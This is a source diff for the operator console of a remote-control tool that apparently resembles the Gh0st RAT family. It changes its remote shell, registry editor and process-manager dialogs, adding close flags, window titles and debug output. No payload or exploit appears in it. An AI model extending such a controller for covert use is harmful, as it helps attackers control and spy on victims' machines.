@@ -2447,7 +2390,6 @@ void CFileManagerDlg::OnRclickListRemote(NMHDR* pNMHDR, LRESULT* pResult)
else else
pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED); pM->EnableMenuItem(nRemoteOpenMenuIndex, MF_BYPOSITION | MF_GRAYED);
pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED); pM->EnableMenuItem(IDM_REFRESH, MF_BYCOMMAND | MF_ENABLED);
pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this); pM->TrackPopupMenu(TPM_LEFTALIGN, p.x, p.y, this);
*pResult = 0; *pResult = 0;

View File

@@ -29,12 +29,15 @@ IMPLEMENT_DYNAMIC(CRegisterDlg, CDialog)
CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) CRegisterDlg::CRegisterDlg(CWnd* pParent,IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject)
: CDialog(CRegisterDlg::IDD, pParent) : CDialog(CRegisterDlg::IDD, pParent)
{ {
m_bIsClosed = FALSE;
m_bIsWorking = FALSE;
m_iocpServer = IOCPServer; m_iocpServer = IOCPServer;
m_ContextObject = ContextObject; m_ContextObject = ContextObject;
} }
CRegisterDlg::~CRegisterDlg() CRegisterDlg::~CRegisterDlg()
{ {
printf("~CRegisterDlg \n");
} }
void CRegisterDlg::DoDataExchange(CDataExchange* pDX) void CRegisterDlg::DoDataExchange(CDataExchange* pDX)
@@ -59,6 +62,14 @@ BOOL CRegisterDlg::OnInitDialog()
CDialog::OnInitDialog(); CDialog::OnInitDialog();
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC> // TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
CString str;
sockaddr_in ClientAddr;
memset(&ClientAddr, 0, sizeof(ClientAddr));
int ClientAddrLen = sizeof(ClientAddr);
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
str.Format("%s - ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "");
SetWindowText(str);
m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //<2F><><EFBFBD><EFBFBD> <20><><EFBFBD>ؼ<EFBFBD><D8BC>ϵ<EFBFBD>ͼ<EFBFBD><CDBC> m_ImageListTree.Create(18, 18, ILC_COLOR16,10, 0); //<2F><><EFBFBD><EFBFBD> <20><><EFBFBD>ؼ<EFBFBD><D8BC>ϵ<EFBFBD>ͼ<EFBFBD><CDBC>
@@ -94,15 +105,14 @@ BOOL CRegisterDlg::OnInitDialog()
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE // <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
} }
void CRegisterDlg::OnClose() void CRegisterDlg::OnClose()
{ {
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
m_ContextObject->v1 = 0; m_ContextObject->v1 = 0;
CancelIo((HANDLE)m_ContextObject->sClientSocket); CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket); closesocket(m_ContextObject->sClientSocket);
CDialog::OnClose(); CDialog::OnClose();
delete this; m_bIsClosed = TRUE;
//delete this;
} }
@@ -161,7 +171,6 @@ CString CRegisterDlg::GetFullPath(HTREEITEM hCurrent)
strTemp += "\\"; strTemp += "\\";
strReturn = strTemp + strReturn; strReturn = strTemp + strReturn;
hCurrent = m_Tree.GetParentItem(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD> hCurrent = m_Tree.GetParentItem(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
} }
return strReturn; return strReturn;
} }
@@ -171,7 +180,6 @@ char CRegisterDlg::GetFatherPath(CString& strFullPath)
char bToken; char bToken;
if(!strFullPath.Find("HKEY_CLASSES_ROOT")) //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD> if(!strFullPath.Find("HKEY_CLASSES_ROOT")) //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>
{ {
bToken=MHKEY_CLASSES_ROOT; bToken=MHKEY_CLASSES_ROOT;
strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT")); strFullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
}else if(!strFullPath.Find("HKEY_CURRENT_USER")) }else if(!strFullPath.Find("HKEY_CURRENT_USER"))
@@ -201,25 +209,24 @@ char CRegisterDlg::GetFatherPath(CString& strFullPath)
void CRegisterDlg::OnReceiveComplete(void) void CRegisterDlg::OnReceiveComplete(void)
{ {
m_bIsWorking = TRUE;
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
{ {
case TOKEN_REG_PATH: case TOKEN_REG_PATH:
{ {
AddPath((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1))); AddPath((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)));
break; break;
} }
case TOKEN_REG_KEY: case TOKEN_REG_KEY:
{ {
AddKey((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1))); AddKey((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1)));
break; break;
} }
default: default:
// <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD> // <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>
break; break;
} }
m_bIsWorking = FALSE;
} }
@@ -238,9 +245,10 @@ void CRegisterDlg::AddPath(char* szBuffer)
memcpy((void*)&msg,szBuffer,msgsize); memcpy((void*)&msg,szBuffer,msgsize);
DWORD size =msg.size; DWORD size =msg.size;
int count=msg.count; int count=msg.count;
if(size>0&&count>0){ //һ<><EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ if(size>0&&count>0){ //һ<><EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
for(int i=0;i<count;i++){ for(int i=0;i<count;i++){
if (m_bIsClosed)
break;
char* szKeyName=szBuffer+size*i+msgsize; char* szKeyName=szBuffer+size*i+msgsize;
m_Tree.InsertItem(szKeyName,1,1,m_hSelectedItem,0);//<2F><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD> m_Tree.InsertItem(szKeyName,1,1,m_hSelectedItem,0);//<2F><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
m_Tree.Expand(m_hSelectedItem,TVE_EXPAND); m_Tree.Expand(m_hSelectedItem,TVE_EXPAND);
@@ -261,6 +269,8 @@ void CRegisterDlg::AddKey(char* szBuffer)
char* szTemp=szBuffer+sizeof(msg); char* szTemp=szBuffer+sizeof(msg);
for(int i=0;i<msg.count;i++) for(int i=0;i<msg.count;i++)
{ {
if (m_bIsClosed)
break;
BYTE Type=szTemp[0]; //<2F><><EFBFBD><EFBFBD> BYTE Type=szTemp[0]; //<2F><><EFBFBD><EFBFBD>
szTemp+=sizeof(BYTE); szTemp+=sizeof(BYTE);
char* szValueName=szTemp; //ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD> char* szValueName=szTemp; //ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

View File

@@ -22,6 +22,8 @@ protected:
DECLARE_MESSAGE_MAP() DECLARE_MESSAGE_MAP()
public: public:
BOOL m_bIsClosed; // <20><><EFBFBD><EFBFBD><EFBFBD>ر<EFBFBD>
BOOL m_bIsWorking;// <20><><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD>
CTreeCtrl m_Tree; CTreeCtrl m_Tree;
CImageList m_ImageListTree; //<2F><><EFBFBD>ؼ<EFBFBD><D8BC>ϵ<EFBFBD>ͼ<EFBFBD><CDBC> CImageList m_ImageListTree; //<2F><><EFBFBD>ؼ<EFBFBD><D8BC>ϵ<EFBFBD>ͼ<EFBFBD><CDBC>
CListCtrl m_ControlList; CListCtrl m_ControlList;

View File

@@ -131,16 +131,26 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd) if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_Edit.m_hWnd)
{ {
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD>ݴ<EFBFBD>С //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD>ݴ<EFBFBD>С
int iLength = m_Edit.GetWindowTextLength(); //Hello>dir 3 int iLength = m_Edit.GetWindowTextLength();
CString str; CString str;
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD> //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
m_Edit.GetWindowText(str);//dir\r\n m_Edit.GetWindowText(str);
//<2F><><EFBFBD><EFBFBD>з<EFBFBD> //<2F><><EFBFBD><EFBFBD>з<EFBFBD>
str += "\r\n"; str += "\r\n";
//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>׵<EFBFBD>ַ<EFBFBD>ټ<EFBFBD><D9BC><EFBFBD>ԭ<EFBFBD>е<EFBFBD><D0B5>ַ<EFBFBD><D6B7><EFBFBD>λ<EFBFBD>ã<EFBFBD><C3A3><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>׵<EFBFBD>ַ<EFBFBD>ټ<EFBFBD><D9BC><EFBFBD>ԭ<EFBFBD>е<EFBFBD><D0B5>ַ<EFBFBD><D6B7><EFBFBD>λ<EFBFBD>ã<EFBFBD><C3A3><EFBFBD>ʵ<EFBFBD><CAB5><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
//Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7>ͳ<EFBFBD>ȥ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> //Ȼ<><C8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7>ͳ<EFBFBD>ȥ
m_iocpServer->OnClientPreSending(m_ContextObject, (LPBYTE)str.GetBuffer(0) + m_nCurSel, str.GetLength() - m_nCurSel); LPBYTE pSrc = (LPBYTE)str.GetBuffer(0) + m_nCurSel;
m_nCurSel = m_Edit.GetWindowTextLength(); //<2F><><EFBFBD><EFBFBD>λm_nCurSel m_nCurSel = 3 #ifdef _DEBUG
OutputDebugStringA("[Shell]=> ");
OutputDebugStringA((char*)pSrc);
#endif
int length = str.GetLength() - m_nCurSel;
m_iocpServer->OnClientPreSending(m_ContextObject, pSrc, length);
m_nCurSel = m_Edit.GetWindowTextLength();
if (0 == strcmp((char*)pSrc, "exit\r\n"))
{
ShowWindow(SW_HIDE);
}
} }
// <20><><EFBFBD><EFBFBD>VK_BACK // <20><><EFBFBD><EFBFBD>VK_BACK
if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd) if (pMsg->wParam == VK_BACK && pMsg->hwnd == m_Edit.m_hWnd)
@@ -148,9 +158,9 @@ BOOL CShellDlg::PreTranslateMessage(MSG* pMsg)
if (m_Edit.GetWindowTextLength() <= m_nReceiveLength) if (m_Edit.GetWindowTextLength() <= m_nReceiveLength)
return true; return true;
} }
// ʾ<><CABE><EFBFBD><EFBFBD>
//dir\r\n 5 //dir\r\n 5
//hello\r\n 7 //hello\r\n 7
//
} }
return CDialog::PreTranslateMessage(pMsg); return CDialog::PreTranslateMessage(pMsg);

View File

@@ -62,8 +62,10 @@ BOOL CSystemDlg::OnInitDialog()
sockaddr_in ClientAddr; sockaddr_in ClientAddr;
memset(&ClientAddr, 0, sizeof(ClientAddr)); memset(&ClientAddr, 0, sizeof(ClientAddr));
int iSockAddrLength = sizeof(ClientAddr); int iSockAddrLength = sizeof(ClientAddr);
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &iSockAddrLength); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ӵ<EFBFBD>ip BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddr, &iSockAddrLength);
str.Format("%s - <20><><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : ""); m_bHow==TOKEN_PSLIST
? str.Format("%s - <20><><EFBFBD>̹<EFBFBD><CCB9><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "")
:str.Format("%s - <20><><EFBFBD>ڹ<EFBFBD><DAB9><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddr.sin_addr) : "");
SetWindowText(str);//<2F><><EFBFBD>öԻ<C3B6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> SetWindowText(str);//<2F><><EFBFBD>öԻ<C3B6><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT); m_ControlList.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);

View File

@@ -8,9 +8,9 @@
#include "IOCPServer.h" #include "IOCPServer.h"
typedef IOCPServer CIOCPServer; #define CIOCPServer IOCPServer
typedef CONTEXT_OBJECT ClientContext; #define ClientContext CONTEXT_OBJECT
typedef struct typedef struct
{ {